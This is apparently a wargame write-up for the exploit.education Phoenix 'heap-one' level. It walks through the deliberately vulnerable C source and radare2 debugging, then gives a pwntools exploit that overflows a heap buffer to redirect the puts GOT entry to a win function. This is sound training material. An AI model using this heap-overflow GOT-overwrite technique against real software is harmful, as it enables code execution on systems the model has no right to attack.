Links

heap1

http://exploit.education/phoenix/heap-one/

Source

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
struct heapStructure {
int priority;
char *name;
};
int main(int argc, char **argv) {
struct heapStructure *i1, *i2;
i1 = malloc(sizeof(struct heapStructure));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct heapStructure));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
void winner() {
printf(
"Congratulations, you've completed this level @ %ld seconds past the "
"Epoch\n",
time(NULL));
}

Analysis

This program:
  • Allocates a chunk on the heap for the heapStructure
  • Allocates another chunk on the heap for the name of that heapStructure
  • Repeats the process with another heapStructure
  • Copies the two command-line arguments to the name variables of the heapStructures
  • Prints something

Regular Execution

Let's break on and after the first strcpy.
$ r2 -d -A heap1 AAAA BBBB
As we expected, we have two pairs of heapStructure and name chunks. We know the strcpy will be copying into wherever name points, so let's read the contents of the first heapStructure. Maybe this will give us a clue.
Look! The name pointer points to the name chunk! You can see the value 0x602030 being stored.
This isn't particularly a revelation in itself - after all, we knew there was a pointer in the chunk. But now we're certain, and we can definitely overwrite this pointer due to the lack of bounds checking. And because we can also control the value being written, this essentially gives us an arbitrary write!
And where better to target than the GOT?

Exploitation

The plan, therefore, becomes:
  • Pad until the location of the pointer
  • Overwrite the pointer with the GOT address of a function
  • Set the second parameter to the address of winner
  • Next time the function is called, it will call winner
But what function should we overwrite? The only function called after the strcpy is printf, according to the source code. And if we overwrite printf with winner it'll just recursively call itself forever.
Luckily, compilers like gcc compile printf as puts if there are no parameters - we can see this with radare2:
$ r2 -d -A heap1
$ s main; pdf
[...]
0x004006e6 e8f5fdffff call sym.imp.strcpy ; char *strcpy(char *dest, const char *src)
0x004006eb bfa8074000 mov edi, str.and_that_s_a_wrap_folks ; 0x4007a8 ; "and that's a wrap folks!"
0x004006f0 e8fbfdffff call sym.imp.puts
So we can simply overwrite the GOT address of puts with winner. All we need to find now is the padding until the pointer and then we're good to go.
$ ragg2 -P 200 -r
AABAA...
$ r2 -d -A heap1 AAABAA... 0000
Break on and after the strcpy again and analyse the second chunk's name pointer.
The pointer is originally at 0x8d9050; once the strcpy occurs, the value there is 0x41415041414f4141.
[0x004006cd]> wopO 0x41415041414f4141
40
The offset is 40.

Final Exploit

from pwn import *
elf = context.binary = ELF('./heap1', checksec=False)
param1 = (b'A' * 40 + p64(elf.got['puts'])).replace(b'\x00', b'')
param2 = p64(elf.sym['winner']).replace(b'\x00', b'')
p = elf.process(argv=[param1, param2])
print(p.clean().decode('latin-1'))
Again, null bytes aren't allowed in parameters so you have to remove them.
Last modified 3yr ago